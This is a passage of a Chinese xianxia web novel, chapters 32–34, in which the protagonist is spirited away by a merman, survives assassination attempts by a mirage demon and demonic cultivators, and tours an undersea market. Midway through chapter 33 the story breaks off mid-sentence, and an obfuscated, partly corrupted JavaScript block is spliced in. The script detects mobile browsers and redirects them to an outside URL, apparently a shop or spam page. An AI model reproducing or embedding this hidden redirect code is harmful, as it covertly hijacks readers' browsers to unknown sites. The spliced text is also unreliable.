这人的联想离谱中带着一丝丝合理,毕竟传闻中,东极道主出行那叫一个声势浩大,连座驾边上跟的都是天魔,一般魔修根本凑不到前面! 严文洲脸色扭曲了一瞬,立刻转移了话题,“这么说来,东极道是确定他们宗主还活着了?” “唔,听闻那命灯确实是还亮着,”弟子挠了挠头,有些不好意思,“不过我就是个小弟子,这等大事轮不到我知道,只是传闻如此。” 严文洲又和那弟子聊了几句,便送他离开,再回到小院时,先前在厢房里静修的杜衡却出来了。 真巧。他顺势便把请帖递给杜衡,这人慢悠悠扫了一眼,也没说去还是不去,再度折好便直接塞进了袖子里,好奇问道:“徒儿似乎对东极道主很感兴趣?” 啧,堂堂炼虚期大修士居然还听壁脚!严文洲一笑,“如今身在东洲,未免有些好奇。” 杜衡似乎也只是随口一问,没再多说什么,只道自己明日会去一趟海东城城主府,问他要不要同去。 既然是夜游宫宫主长居的地方,自然不会是什么阳光明媚的好地方,严文洲立刻回绝,顺道委婉地提醒了一下,“师尊当日既然已经推出了卦象,何不直接告知夜游宫主?如今海东城鱼龙混杂,不若我们早日起程回南洲,以免生事?” 杜衡轻叹一声,“不瞒徒儿,为师跨入合体的机缘恐怕就落在了这桩事上。” 32.海国(一) 四洲修士无数,能结成元婴的不过一二,而能从元婴迈入化神,做上一宗长老的,更是少之又少,若有哪个没有宗门的散修成功迈入化神,那么宗门名帖便会如雪花一般飞过去。 至于从炼虚到合体,对于普通修士而言,那已然是太遥远了。 若杜衡真能迈入合体,那太易宗便会一跃成为四洲修士茶余饭后最大的谈资,而陶乐折腾了许久也没申请成功的收徒玉牒,搞不好太清宗也会派来修士双手奉上。三个山头,怕是要人满为患了。 严文洲遥想了一下杜衡成就合体的未来,莫名一乐。 然而合体期也不是那么容易达到的,这几乎就是洞虚期到渡劫期的预演,若渡不过,身死道消都是有的。他不怀疑杜衡的推演能力,可应在这件事上,难免不祥。 严文洲有些不妙的预感。 可再怎么不妙,他也没有理由阻止杜衡尝试迈入合体。脚底下这条登天路,不进则退,哪有修士能心甘情愿一直停滞下去的? 几天后,杜衡又被夜游宫主以重金酬谢去算卦,而海无涯的灵光飞鹤也在这时啄响了洞天别院的大门。严文洲正想听听这位以一己之力搅得海东城鸡飞狗跳的鲛人最近都干了什么,随手将最后一把鱼食儿撒进池子里,便去开了门。 打开禁制的一瞬,他便察觉到不对劲,然而已经来不及了——周遭顿时如万花镜般破碎重组,熟悉的眩晕感传入神魂。 再看时,周围已经是一片幽幽水波,几条怪模怪样的鱼在不远处游过,似乎完全没见到这凭空出现的两人一样。 严文洲环视一圈,上不见天,下不见地,周围只有一圈避水珠隔出来的灵光,完全是在深水里! 一步万里,这鲛人居然在门口设下了传送法阵!? “海道友这是什么意思?” 这位化神期的鲛人已经恢复了本相,深蓝尾鳍在水中缓缓摇曳着,煞是好看。一听严文洲冷冰冰的调子,海无涯面上平静,骤然快速甩动起来的尾鳍却暴露了他,“严、严道友不要误会,我实在是情非得已!最近海东城恐生变故,我怕出事,便将你先带回来了。放心!我给杜宗主捎去信了,待到事情结束,他一定会来寻你的!” 严文洲听这话含糊,倒像是杜衡默许海无涯玩这一手似的,只是,若真是默许,自然会正大光明上门,怎么会用上在门口设传送阵这种手段? 这人分明是在企图甩锅给杜衡! 冷笑一声,他看向鲛人的眼神有些不善,“海道友不要弄错,我是太易宗弟子,总归跟着宗主走,无缘无故在海国呆着算什么?” 海无涯一时有些慌了,先前相处的几日,这人一向随性,十分好相处,如今面色一冷,倒是十分…… 十分像那位故人!慌乱之余,海无涯心中本就冒头了多年的心思更是疯长起来,怔愣一瞬便脱口而出道:“实不相瞒,我与你父亲有旧!” 嗯?严文洲早已准备好的情绪一下如这鲛人的巨量灵石一样灰飞烟灭。他瞪着海无涯,只觉莫名其妙,心中千头万绪一时竟然说不出话来——自己,不应该是个孤儿么!? 虽然记忆仍是不连贯,且像是隔着一层琉璃看旁人,但他下意识地确定,自己从来没见过自己那个爹! 似乎从严文洲的表情里看出了什么,海无涯连忙解释道:“是这样的,我鲛人一族有血脉秘法能鉴定后裔,你的父亲便是我的一位故友,万万错不了!” 错不了?错大发了! 他自己都不知道爹是谁呢! 不过……他心中一动,故意喝道:“海道友怎么还跟我无中生父了?口说无凭,如何能信?!” 海无涯更着急了,尾鳍搅得周围一片水波,“严道友我确实没骗你!你看这个!” 一根半掌长的蜡烛出现在深水中,鲜红的光芒把周围映出一片朦胧,激荡的水波半点影响不了黄豆大的烛火。 “这烛火乃我族中秘法,若两人之间却有血脉关系,烛火会变红,色泽越红则关系越近,我、我用严兄斩天魔时滴下的血和故友遗落在我这里的东西做过验证了,就是这般红到了极致的色泽!” 难怪,原来是自己当自己爹了。也不知道曾经的自己到底在海无涯那里落下了什么东西。严文洲神色微妙,心说这二皇子还是太单纯了。这烛火当然会变红啊,毕竟可是同一个人。如果能学会此法就好了,这样就能看看钟慎那个莫须有的亲爹到底存不存在了。 若不然,再把海无涯骗上岸也不是不行。 心里这么想,他面上却适时地流露出一点困惑,看向海无涯的眼神也缓和了一点,“这么说来,海道友对我一见如故,也是因为我爹的缘故?” 海无涯立刻摇头,“严道友如此风姿,在下见之难忘,就算、就算未曾见过那位故友,我也是要和严道友交朋友的!” 严文洲早就领教过这位鲛人花言巧语的本事了,然而此时看着他十分诚恳的模样,心中却升起一个古怪的念头——海无涯这回说得怎么倒像是真的? 不过,真的又如何? 一缕银发在脑海中一闪而过。 也不知自己这位便宜师尊有没有算到自己的去处了。 他深吸一口气,姿态已然不那么戒备,“海道友,不知海东城到底要出什么事?” 鲛人的感知素来敏锐,海无涯立刻感觉到这人态度有所松懈,一边小心翼翼观察着,一边道:“旁的倒也没什么,只是明朔剑尊正好携徒参加还真山庄的论道,听闻辉虹阁那点破事就主动要过来看看,若是别人也就罢了,可我那位故友和明朔剑尊正巧有些过节,若是他见到你,恐怕要生出些事端来,这才出此下策。” “明朔剑尊来参加还真山庄的论道?”严文洲不由重复了一遍,神情怔愣,几乎觉得自己听错了。 不知为何,他总觉得这人不会轻易来东洲。难不成是因为垂云汀那个封灵阵?可封灵阵已破,在场的几人更是看了遍杜衡回溯出的旧事,他此时前来有什么用? 若当真如此,他倒是要多谢这位二皇子了,要不然真见到了这位东极道主的死敌,恐怕只消他手起剑落一瞬的功夫,自己这条命就给他那金光灿灿的功德簿多添一笔了。 严文洲细细回想了一遍系统给出的主线,到目前为止,钟慎会一直安安稳稳地呆在南洲,东洲这两个字可从来没出现过! 见表情不对,海无涯深思了一下自己刚刚的话有什么纰漏,回答不由慢了一拍,“啊对,往年这位剑尊就跟不出门的老乌龟一样,今年也不知道是怎么了。” “统兄,你听见了么?” “听见了。预测模型应该没错的才对啊,我、我再看看,也许明朔剑尊没有带上钟慎呢!”系统的声音不是一点点的心虚,说完就没了声儿。 严文洲一边质问着系统,一边还在装模作样跟海无涯套话,只是这位鲛人心思不在正事上,满脑子都是红尘旧事和吃喝玩乐,看着严文洲的眼神愈发感伤。 周旋了一阵,严文洲只听出了一点——海无涯对明朔剑尊十分看不顺眼。若不是修为远不及剑尊,他毫不怀疑这位鲛人会把剑尊狠狠揍一顿。 不多时,他便应了这鲛人的邀请,搭上了去红珊瑚群岛的长鲸。得了几枚状似丹药的东西,长鲸高兴得很,周身水流一变,裹着一人一鲛人就冲了出去。 速度比飞剑要慢一些,不过好在省力,半点不用操心,只消安安稳稳地呆在鲸群中就好了。按理说,如海无涯这般长尾巴的,能自己游的,但许是偷懒,也可能是习惯使然,这鲛人一样在巨鲸掀起的水流中悠哉游哉地躺着,半点不出力。 严文洲总觉得这画面很眼熟,想了许久倒还真想起了一点。也不知道为什么,他放着大好的地方不去,非要来海上练刀,应该是兴致正高时,不慎把一条鲛人给劈了。 唔,应该是如此。 微妙地看了眼一无所知的海无涯,严文洲深感境遇之奇妙,鲛人口味之独特。 这鲛人平时高调嚣张,怎么碰上一个平白无故砍自己一刀的修士就屁颠屁颠引为知交了,难不成,是打不过? 况且至交……他笑得微妙,不多言语。 周围的水色愈发浅淡,不出几日,一片艳丽红色就出现在远处。 再往前,长鲸就过不去了。 又撒下一片丹药,海无涯转头游了严文洲身边,殷勤道:“严道友,前方便是红珊瑚群岛了,不日便有一场海市,虽然规模不及潮生节,但亦是有许多可玩之处。若道友打算静修,我在那里还有一处灵气充裕的别院可以休憩。” 严文洲无可无不可地点了点头,海无涯心中欣喜,屁颠屁颠游到前面引路,“红珊瑚靠近鲛人祖庭,不过要比祖庭离海面更近,这里的海市半年开一次,和潮生节的海市不同,这里的交易大多是以物易物,实在不行才用灵石。道友若是手头有东西要出售又不愿自己摆摊,也可交予珊瑚妖代售,只是不管成与不成,都要抽一笔手续费……” 红珊瑚海市远观已十分了得,大片大片小山似的珊瑚丛一直蔓延到了视野尽头,最中央一道菱形光柱直通海面,时不时便有灵光在其上飞闪而过。近看更是殊异,巴掌大的小鱼在其中穿梭不停,时隐时现,大型的珊瑚丛足有四五人高,色泽浓艳得晃眼,从海面上折下来的光亮更是把海市照得一片珠光宝气。 红珊瑚海市远没有潮生节那般规矩,更何况严文洲还是被一个修为颇高的鲛人带着,好奇地多问了几句后,海市守卫便将两位放了进去。 没游多远,海无涯便渐渐停了下来,“奇怪,怎么感觉不太对。这里怎么像是……” 严文洲扫了一圈,自从踏入海市起他便感受到了一股隐约的杀意。这股杀意极其微弱,微弱到近乎错觉,他原还以为是这海市中有什么人认出他了,但…… 下一刻,严文洲面前陡然升起一道晶莹冰墙,“严兄小心!” 向外看去,海市已是地动山摇,红珊瑚崩塌的崩塌,碎裂的碎裂,远处象征着开市的棱光柱像是被切割了一样,硬生生在水中断出了好几截,近处仿造人修建造的楼宇已经雾化成一团包裹着颗粒的灰尘水。 尘水弥散,一碰到冰墙便激出兹拉一片响,听着就不是什么好东西。 白鱼刀在手,严文洲心中模糊地闪过一个名字,“蜃妖?” 阴恻恻的笑声从四面八方传来,荡出无数道回声,“没想到你一个小小人修还看得出我的本体,如此一来,死也可死个明白了。” 海无涯脸色骤然铁青,光滑的两颊浮现出星星点点的蓝紫色鳞片,鱼尾上的鳞片也开始色泽加深,这是鲛人愤怒到极致的标志,“你引我们前来是想做什么?” “有人——买了你的——命——”似乎有无数个人从不同方向回答,声音重重叠叠。 海无涯脸色更加阴沉,“你可要想清楚了!若是我命丧此处,黑礁一族定然不会放过你!” 蜃妖大笑起来,“什么红的黑的蓝的绿的,我得罪的鲛人还少么?多你一个算什么!?” 话音未落,海无涯就朝着虚空中某一点冲过去,开始跟一团看不见摸不着的东西斗法。 红珊瑚海市幻境崩塌得更快了,几乎是以肉眼可见的速度灰飞烟灭,而冰墙每接触到一点烟尘,便会如被腐蚀掉了一般薄一层。 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正加紧搜寻破绽,蜃妖的诡异笑声响又起来了,“我还没吃过黑礁一族的鲛人呢,今日看来可有口福了!” “放你爷爷的屁!你一团不知道什么东西也想吃了我,下辈子吧!” 又是几声巨响,紧随而来的是冰墙碎裂的咔擦声。 严文洲眼皮直跳,又看了眼海无涯一眼。短短几个瞬息,他已经连扔了几个高阶法宝,次次都是自爆,主打的就是全面轰炸。 这招虽然笨,但着实有效,蜃妖很快就笑不出来了,尖利的音波在水中全方位冲击着它自己构建的海市幻境。 几乎是下一瞬,辉光熠熠的海市就化为乌有,周围哪还是绚丽的珊瑚礁,分明是一处死气沉沉,能见度只有三五丈的阴暗水域! 海无涯勃然大怒,恨不得下一刻就立刻离开这片肮脏的水域,“栖居在这种地方,果然不是什么好东西!难怪只能给别人卖命!”正想继续,他突然一怔——蜃妖呢?怎么不见了? 他立刻回身朝严文洲冲去,然而却是来不及了。 刹那之间,蜃妖已经出现在了远处,朦胧如雾气般的触手抚上青年脸颊,而霜衣青年似乎仍然无知无觉。 海无涯目眦尽裂,鳞片上闪过不祥的血红。 然而下一刻,料想中青年化作一团轻飘飘水中烟尘的画面却没有出现。只是最寻常不过的一闪身,严文洲便远离了蜃妖,又是一步,刀光闪过,掀起的水流又将他推得更远。 这两步迈得实在轻松,兼有一股风流飒踏的劲儿,似乎他不是行于水中的人修,而是天生生于水中的游鱼一般,只是随性来去。 蜃妖自是不会罢休,阴冷的声音阴魂不散地响起来,“金丹期?能跨两个大境界躲开我,你这身法倒是有意思,想来能在拍卖场里卖出大价钱,只是,我好似在哪里看见过一样。” 严文洲一边躲,一边也没落下跟蜃妖扯淡,“前辈可能回忆起来是哪里见过的?这身法乃是我偶遇一位道人,她见我人机灵便传于我的。晚辈一直想道谢,却遍寻不到那位前辈,唔,这位蜃妖前辈若恰好认识,便再好不过了!” 眼看着这人躲过了一次又一次,蜃妖愈发觉得这修士滑不溜手,有些不耐烦,可这修士能躲过一时,还能躲一世么?等他灵力耗尽,不就能抓活的了么?! “你废话忒多!不愿透露师门传承就罢了,何必胡言乱语!” 几句话的功夫,海无涯已然从怔愣中回过神,操着三叉戟就再度冲了上来,可蜃妖与严文洲之间最多不过三五寸,离得实在太近了,他根本施展不开! “严兄,你小心,让我来!” 严文洲不过金丹期,这种时候本该老老实实地退开,让海无涯上。可一来,海无涯打不过,二来,蜃妖这种炼虚期的精怪必然不会把一个金丹期的小修士放在眼里,所以…… 他给海无涯使了个眼色,又迈出几步退开十来丈,就在蜃妖又缠上来的瞬间卖了个破绽。 蜃妖果然毫无察觉地张开了云雾般的身体,水体顿时变得更加暗沉,只差半寸! 就在此时—— 一片巴掌大的玉符滑落入水中,瞬间便膨胀出万丈明光!靠得最近的蜃妖当即发出一声惨叫,离得远的海无涯也忍不住扔出了几件防御法宝。 “这是……” 这是封存着炼虚期全力一击的玉符,杜衡给的拜师礼之一。 蜃妖再也说不了话了,仙道法门对它这种吃了不少血食的妖兽克制极大,更何况它正处在风暴的中心位置。灵力流动稠密灵动,如最上乘的丝缎,但蜃妖只觉得身体上有千万道锯齿不断滚动着,生而便可随心聚散的本事在这一刻毫无发挥余地,只能硬生生地在几个呼吸间被消磨殆尽。 一切都发生得极快。 海无涯再回神时,只见严文洲手上多了一颗婴儿拳头大的银灰色珠子,正仔细端详着。 “严、严兄,刚刚那是……” 严文洲依稀记得蜃妖死后留下的蜃珠里包含着部分记忆,若运气好,他还能知道到底是谁想杀他。看了眼鲛人,他微笑了一下,“我师尊赐下的符箓而已。不知海道友可知道这蜃珠中的记忆如何窥探?” 海无涯一怔,连连点头,觉得自己脑子真是跟周围的水一样混——那怎么可能是东极道主的一击呢?那人的灵力早已不是仙道修士的模样了,如何能使出方才一击? “蜃妖性喜食欲,蜃珠中记忆杂乱,贸然探入极易扭曲心性,严兄若要查清背后买凶者,不妨待安全后我用秘法……” 话还没说完,水域中又窜出一片冷光,如天罗地网一般朝二人当头罩下来。 怎么还有!? 33.海国(二) 这一批杀手路数明显不同,较之先前的蜃妖更加干脆利落,半点多余的话都不说,一上来便是用一只高阶阵盘隔开了两人,而后便都围到了严文洲这边,海无涯那里半个人影都没有。 而且,都是人修。 即便都用秘法遮掩了身形,但看灵力招数,严文洲敢肯定,这是一群魔修! 很快,他就从海无涯的惊呼中知道了他们的来历——东极道。 啧,来势汹汹,定然是叛乱,也不知是从哪里得来的消息。 严文洲脸色冰冷,白鱼刀转瞬间便接连破开了几个阵法节点,但到底是修为差了许多,又经历了一番鏖战,纵然他把复灵丹当糖豆吃也抵不住消耗。况且,这群魔修里最差的也有元婴期,最高的已是化神大圆满,再这么下去,他只能再扔一枚杜衡的玉符了。 只是这群人潜伏了这么久,定然见过蜃妖的死状了,有所防备是必然的,说不定只会多浪费一枚玉符。 心念急转,他给系统送了道心音:“统兄,方才你没提醒我蜃妖幻境也就算了,如今情势危急,你可能引来几道天雷?” “不能!” “听闻玄天卷现世时,于中域引来天雷万道,你好歹也是玄天卷分魂,当真不能?” “你!我……” 砰——严文洲心中一动,脚步陡然一转,一枚小山似的血印擦着边掠过,然而躲过了这一击,正在他背后的阵盘旗帜却幻化出一片阴森刃光,径直朝着后心而去,若是这一下接实了,只怕就要直接身死道消了! 刹那间,白鱼刀挽起一片刀光,幻化出的飞刃顿时被阻隔了大半。 叮叮当当声在水中略显模糊,但刺目的血色却是一清二楚,海无涯看得怒不可遏,他就没有今天这么不顺心的时候! 作为黑礁一族的天之骄子,修炼资源应有尽有,天才地宝随他取用,什么杀手、仇人,不是被他自己灭了,就是被族中长老给灭了!再说,黑礁一族居于黑渊,坐拥财宝无数,又有三位合体大能坐镇,为鲛人中实力最强的一支,有谁那么想不开要惹他! 嗯,等等…… 被飞刃刮了几下,本是小事,但严文洲立刻觉得伤口上泛过一丝麻木,动作迟缓了一瞬。他本就是靠着和金丹期完全不匹配的灵活身法躲开攻击,这么一顿,毫厘之间的差距顿时被无限放大,血印配合极佳,离开回转直朝他面门扑来。 电光火石间,心海中传来一声咬牙切齿、毅然决然的大喝:“我试试!” 轰——碗口大的紫电直坠海中,水域中顿时弥漫起细小的电弧。 还真招来了!这系统也算是有点用。 阵盘各节点之间都是靠着紧密微妙的灵力流动相连,如今被天雷这么一电,顿时全部紊乱,立刻给了一人一鲛人脱离阵盘的机会。 身形一闪,严文洲便冲出了阵法,再一步,便离开了水面。 正下着蒙蒙细雨,举目四望不见陆地,就连零星岛屿都远在天边,也不知东极道那几个修士怎么找过来的。 果然是搞暗杀的好地方。严文洲暗叹一声,回身劈下一刀,脚步再度一转,一支漆黑箭矢擦肩而过。 刀光在天光下格外分明,瞧见了这一刀,那些个东极道修士更是跟见了肉骨头的恶犬一般,疯了般扑过来,似乎不将青年碎尸万断便誓不罢休。 严文洲心中更加笃定——无论是蜃妖还是眼前这群人,都是冲着自己来的。 又一道天雷落下,正巧落在严文洲脚边。 “哔哔哔——哪儿来的天雷!?”不远处传来海无涯的怒骂,紧接着又是几声法宝砸出的巨响。 若只对付严文洲一个,东极道这群修士绰绰有余,可加上一个海无涯,事情就不对了。 若论修为,海无涯也并非有碾压的能力,可古往今来谁都知道,法宝是修士的第二条命,而放在这位黑礁一族的鲛人身上,他便是有无数条命了。 况且,这位鲛人已经被蜃妖恶揍了一顿,憋了一肚子火,如今见这群“莫名其妙”人修居然敢图谋“故友之子”,气得鳞片都差点竖起来了! 严文洲不过腾挪了几回,追杀的东极道修士便少了两个,眼看着第三个也要差不多了。 然而魔修不愧是魔修,同伙的减少半点没有减弱他们的战斗力,反倒多添了一把火,招式愈发狠辣,几乎有同归于尽的架势。 又一枚杜衡的玉符滑出袖口,正准备掷出,两道灵光便火烧火燎地落了下来。 “道友且慢!” 严文洲一点没慢,白鱼刀自下而上斩过,本就被天雷劈得一身灵力散了架的元婴修士立刻断成了两截,元婴下意识逃逸,却被一把捏住。 瞬间灰飞烟灭 “抱歉,没刹住。”严文洲遗憾地朝两人摇了摇头。 “……也、也无妨。” 海无涯倒是如他们所愿停了手,只是脸色极其不善,颊上鳞片仍维持着不祥的暗红色,似乎一言不合便要捏死手里这个人质,再把两个横空杀出的修士揍一顿。 “常霁野,你怎么来了?”他阴森森地开口。 一位高而壮的朱衣修士指了指被鲛人拖着的修士,声音有些尴尬,“来清理叛徒。”似乎怕海无涯立刻把那人杀了,他又立刻补充道:“还请海道友还给我们一个活的,我们还有些事要问他。” 海无涯冷笑,“贵宗叛徒诱我入险境,妄图半路截杀我与友人,这笔帐就这么算了!?谁知道这人是不是刚刚才成为叛徒的!” 严文洲觉得那个名字有些耳熟,听海无涯提起东极道才想起来,这位常霁野便是东极道主的左膀右臂之一,人称朱湛使。 余烬犹烧一原火,说得就是他。 至于另外一位……严文洲看了过去,这人周身笼罩着一层薄雾,看不清面貌,只是会和朱湛使一起出现,想必就是传闻中手握四海真水的清河使了。 察觉到严文洲的目光,这团白雾扭过来了一点,稍微动弹了一下,约莫是礼貌性地点了点头。 海无涯和常霁野一并看了过来,异口同声:“道友认识他?” 严文洲看眼前一人一鲛人神色都不对,一个眼神希冀,另一个满是惊愕,便知道朱湛使二人绝不单纯是追着叛徒过来的,而海无涯是真把自己当东极道主什么都不知道的私生子了。 事实上,自从这二人出现,他总觉得这两人身上有股熟悉的气息,似乎有些像被魇追着千 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17143887|194632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 辛万苦爬到太玄峰顶上的那两个猎户。 唔,若真是那二人,这段时间奔波得也是颇为辛苦了。想了想,他状似尴尬地摇了摇头,眼神下移到海面,像是十分不好意思,“唔,未曾见过,只是有些好奇,还望道友见谅。” 这话一出,常霁野的脸上肉眼可见出现了一种名为震撼的神情,便是白雾也剧烈地抽动了一下。 “没什么,只是功法所致而已,”白雾中传出一道干巴巴的声音,“在下清河使,多谢两位道友为我们擒住叛徒,将来若有用得着我二人的地方,我等愿随时效力。”说着,白雾中便飞出一面黑底的令牌来。 平心而论,这疑似四海真水的白雾飘飘渺渺,看上去还是相当有仙气的,可经历了蜃妖一遭,严文洲对此类东西全然没了好感,一见有东西飞出来,下意识地就闪开了。 令牌划出一道抛物线,差点直奔海底,幸亏海无涯及时出手捞了一把才幸免于难。他握着令牌,一时无言,怀疑的眼神缓缓停在了常霁野脸上,意思相当明显——你认真的? 常霁野凝重点头。 海无涯眼神微变,微不可察地朝严文洲瞟了一眼,又迅速转回到常霁野脸上——你知道那人身份了? 常霁野没看懂,眼神清澈。 海无涯:…… 气氛暗流汹涌,如脚下波涛一般说不准什么时候就冒出几个杀手来。 严文洲心念一动,微笑道:“不知两位前辈是否知道东极道叛徒为何要来杀我们?” “这个,许是,”常霁野迟疑了一下,清河使很快接了上去,“许是因为他们听说了海道友豪掷三十五万灵石的壮举,想来抢些路费。” 严文洲不由感叹,清河使看着仙气飘飘,一开口却也是正宗的魔道风范,十分干脆利落,转眼就把一口大黑锅甩到了海无涯身上。 海无涯下意识要反驳,但一瞥到身边的霜衣青年便歇了这个心思,默默吃了个暗亏,只咻一声把人质丢过去,嘲讽道:“清河使真是能言善辩,常霁野你可好好学学吧!既是如此,我与严道友便不多留了,能找到这等鬼地方,贵宗弟子也真是煞费苦心!”尾鳍拍了两下水,他声音微妙地补充了一句:“两位想必,应该知道什么能说,什么不能说吧?” “自然。” 常霁野跟着点头,眼神有一搭没一搭地在严文洲身上瞟一下,像是生怕他出什么事,又不敢多看一眼。 严文洲看得好笑,故意朝他做了一个迷茫而困惑的神情。 这位名声臭得跟东极道主有得一拼的朱湛使立刻移开眼神,半秒都不敢多停。 严文洲心情更加舒畅,难得主动呼唤起了系统,“统兄,还在么?” 无人回应。 也不知是看没看到,缓缓翻涌的白雾凝滞了一瞬,不过再开口时,这人的声音仍然透着一股不紧不慢的意味,“此处离红珊瑚群岛尚有一段距离,不如我等送两位一程?” “呵,随便。” 常霁野欣然点头,身上火光一闪,扭头就把苟延残喘的叛徒烧死了,手一捞,叛徒飘飘悠悠的神魂立刻被塞进了一只玉瓶。 清河使叹了一声,“见笑了,带着这人不好上路。” 34.海国(三) 几日后,天终于放晴,而四人也到了真正的红珊瑚海市,再无波折。 “就此别过。”水火二人组朝严文洲点了点头,便化作灵光,朝东极道而去。 两人这么一走,海无涯的脸色骤然好了许多,转头道:“东极道定然是要不太平一阵,不过再大的波折也影响不到这儿,严兄尽管放心。” 严文洲微笑着点了点头。 不论冰火二人组到底是回东洲干什么的,这一程倒是让严文洲颇有收获。按照这两人的说法,东极道在东极道主“死后”没乱,倒是在发现命灯仍然亮着的时候乱了起来。叛逃的叛逃,搞小动作的搞小动作,甚至有一波人在试图联系上任魔尊,也就是东极道主的师尊,传闻中被一刀劈了遗憾离开东极道的谢渡。 而他们此次返回东极道,就是为了处理这一摊子乱事。 对于两个外人而言,他们说得显然太多了,可如果对面有个“东极道主之子”,这话就一点不多了。 几日下来,海无涯完美坐实了严文洲的身份,而不管东极道主的左膀右臂是真信还是装的,总之,他们默认了。 大抵是无缺丹吃多了,他近日想起来的越来越多,对于水火二人组终于有了点印象,于是看着两人十分配合地演戏,难免觉得好笑,于是乎,朱湛使的神情时不时便露出些古怪来。 几步路,他们进了真正的红珊瑚海市。耽误几日,现在正是海市最繁盛的时候,大大小小的摊位挤挤挨挨,水流都滞涩了几分,化形化了一半的海中精怪成群结队在珊瑚群中穿梭,叫卖声喧哗嘈杂得让人想起凡间的集会。 此时此刻,严文洲才明白海无涯曾经那句“旧了”是什么意思——比起蜃妖构建出来的幻境,此处更是宝光熠熠,所有人都被镀上了一层辉光,再寒碜的半妖都像是得到了仙人点化的灵兽。 “人修!”不知道是哪个嘟囔了一声,顿时有无数双眼睛朝严文洲看了过来,然而一瞟到身边的鲛人,眼神又立刻回转了过去——鲛人么,带个人修过来是再常见不过了,没什么好看的。 严文洲眼前一花,陡然多了个身着红衣的“人”,“海道友,好久不见,怎么不和我们提前说一声就来了?” 雌雄莫辨不说,一开口还跟蜃妖一个德行,层层叠叠自带回音。 看着这位的装束,严文洲心中了然,这应该便是红珊瑚妖了。 海无涯珠玉折扇一摇,下巴微抬,要不是多了条尾巴,活脱脱一个钱多得没处使的仙二代,“不过闲游至此,正巧碰上你们开市,过来打发时间而已。你们不用打扰,我们自己逛就行了。” 红珊瑚眼波流转,在严文洲身上晃了一圈,仍然停在了海无涯身上,“海道友不想多事,我们能理解。可惜这两天蜃妖已死的消息早已传遍了海国,黑礁族长特地遣我寻觅海道友的行踪,如今正巧碰见,还请道友跟我走一趟。” 海无涯脸色一僵,扇子也不摇了,声音发涩,“族长,也在这里?” 红珊瑚笑着点了点头,“黑礁正有一批货物委托我们售卖,黑礁族长就在鳞光阁中看我们清点货物呢。” 严文洲见海无涯一副心虚模样,便开口道:“既是族长有召,海兄不如先去吧,如今到了海市想必也不会再出什么事。” 海无涯迟疑着点了点头,跟红珊瑚念叨了好几遍严文洲的重要性,又递过来一片鳞片模样的牌子才一步三回头地走了。 走了一个鲛人,多了一个珊瑚妖。 严文洲对这位层层叠叠的声音实在不感冒,又对这几天身边随时随地多个人的状况烦了,立刻谢绝了红珊瑚的陪同。刚走,却又有一人鬼鬼祟祟摸到了身边,“道友是哪里人啊?” 严文洲一看,是一个挂了穿得花里胡哨,挂满了零碎物件儿的瘦修士,从气息判断,应该是纯人修,“一介散修而已,不知道友从何处来?” 话音刚落,忽地又冒出一条一人长的吞云兽拦在了严文洲面前,对着瘦修士的语气极其不耐烦,“去去去——都被赶这么多次了,怎么还来?今天又是从哪儿混进来的!赶紧滚,要不然我可叫虾兵了!” 瘦修士连声道好,溜得飞快。 看着这人消失,吞云兽转过来拍了拍胸鳍,“道友你放心好了,你是黑礁的贵客,我们肯定不会坑你的!方才那人是东海一个小岛上出来的,专门坑你们这种人族修士,早几年就上过海市的通缉榜,也不知怎么又溜进来了!” 严文洲拱手道谢,眼神微妙。仗着红珊瑚海市人修寥寥,大多数海中精怪便直接以原型示人,最多调整一下大小,吞云兽这种原型十来丈长的巨兽缩小了之后居然显出了几分憨厚,十分可爱。 下一刻,他只听这吞云兽扭过来道:“道友可真是一表人才,不知缺不缺坐骑,我还有几个兄弟姐妹没着落的,都开了灵智,天资很是不错!” “你起开,就你们吞云兽还当什么坐骑?我等飞鱼还差不多!道友不如看看我?日行千里轻轻松松,横跨海国也只需要一天一夜!” “放屁!你怎么不提你们飞鱼的丹药消耗量!怕是炼丹师才供得起你们!道友不如看看我们望潮吧?赶路虽略逊一筹,但想来道友多的是飞舟飞剑,用不着在海里扑腾。我们长蛸若做灵宠,那真是一身功夫,还不用吃丹药,好得很!” …… 几个呼吸的功夫,他面前已经挤满了各色海兽,连红珊瑚都被遮得半点看不清了,一个个还七嘴八舌像是多长了好几张嘴,都在拼命推销自己,也一个个都没提价钱。 他心知这是沾了海无涯的光,如今海国诸势力中,数黑礁最为势大,这群海兽们巴不上海无涯便打上了自己的主意。 “诸位厚爱,在下既不缺坐骑也不缺灵兽,还请诸位高抬贵手。”说完,他脚下急转,三两下便从包围圈里窜了出去,快得连飞鱼都没拦下来。 “……嚯,好快!” “实力不错,长得还俊,不愧是黑礁看上的人!我、我跟定他了!” “切,他同意了么?” “你酸什么酸?小小虾米,谅人家也不会看上你!” “你、你说什么!?有本事比一比!?” “比就比,谁怕谁!” …… 严文洲全然不知道海兽们差点因为这个开始了一场斗殴,他已找了一处隐蔽的地方换了身衣服,又挂上杜衡赠与的玉佩,出来时已然是一个面貌略显苍老的中年修士了。 这下子,他才真正开始领略海市的风采。 红珊瑚群岛辽阔,不过海市的范围向来只限制在一个六边形的区域内,越靠近中间,东西便愈昂贵,先前黑礁族长所在的鳞光阁便是在海市最中央,直通海面的光柱也是从鳞光阁发出的,看着不普通,目的却简单,只是给从空中过来的修士一道指引。 而售卖之物,确实如海无涯先前所言,海中奇珍随处可见,四洲难得的东西在这里简直是烂大街,更有一些难以想象的活物,譬如先前那群海兽。 严文洲默不作声看了几场交易,渐渐明白了套路——商定好了后,海兽们会跟着买主到鳞光阁处请红珊瑚作见证,结下一定年数的契约,这期间,修士需供海兽丹药灵气,契约时间到或者修士身死,海兽们便再度回来。 如此虽然略显古怪,但思及海兽们的漫长寿元和修士们难以捉摸的明日,说不定是个极为划算的买卖。 走了十来个摊位,严文洲脚步一顿,停在了一只蚌妖的摊位面前。 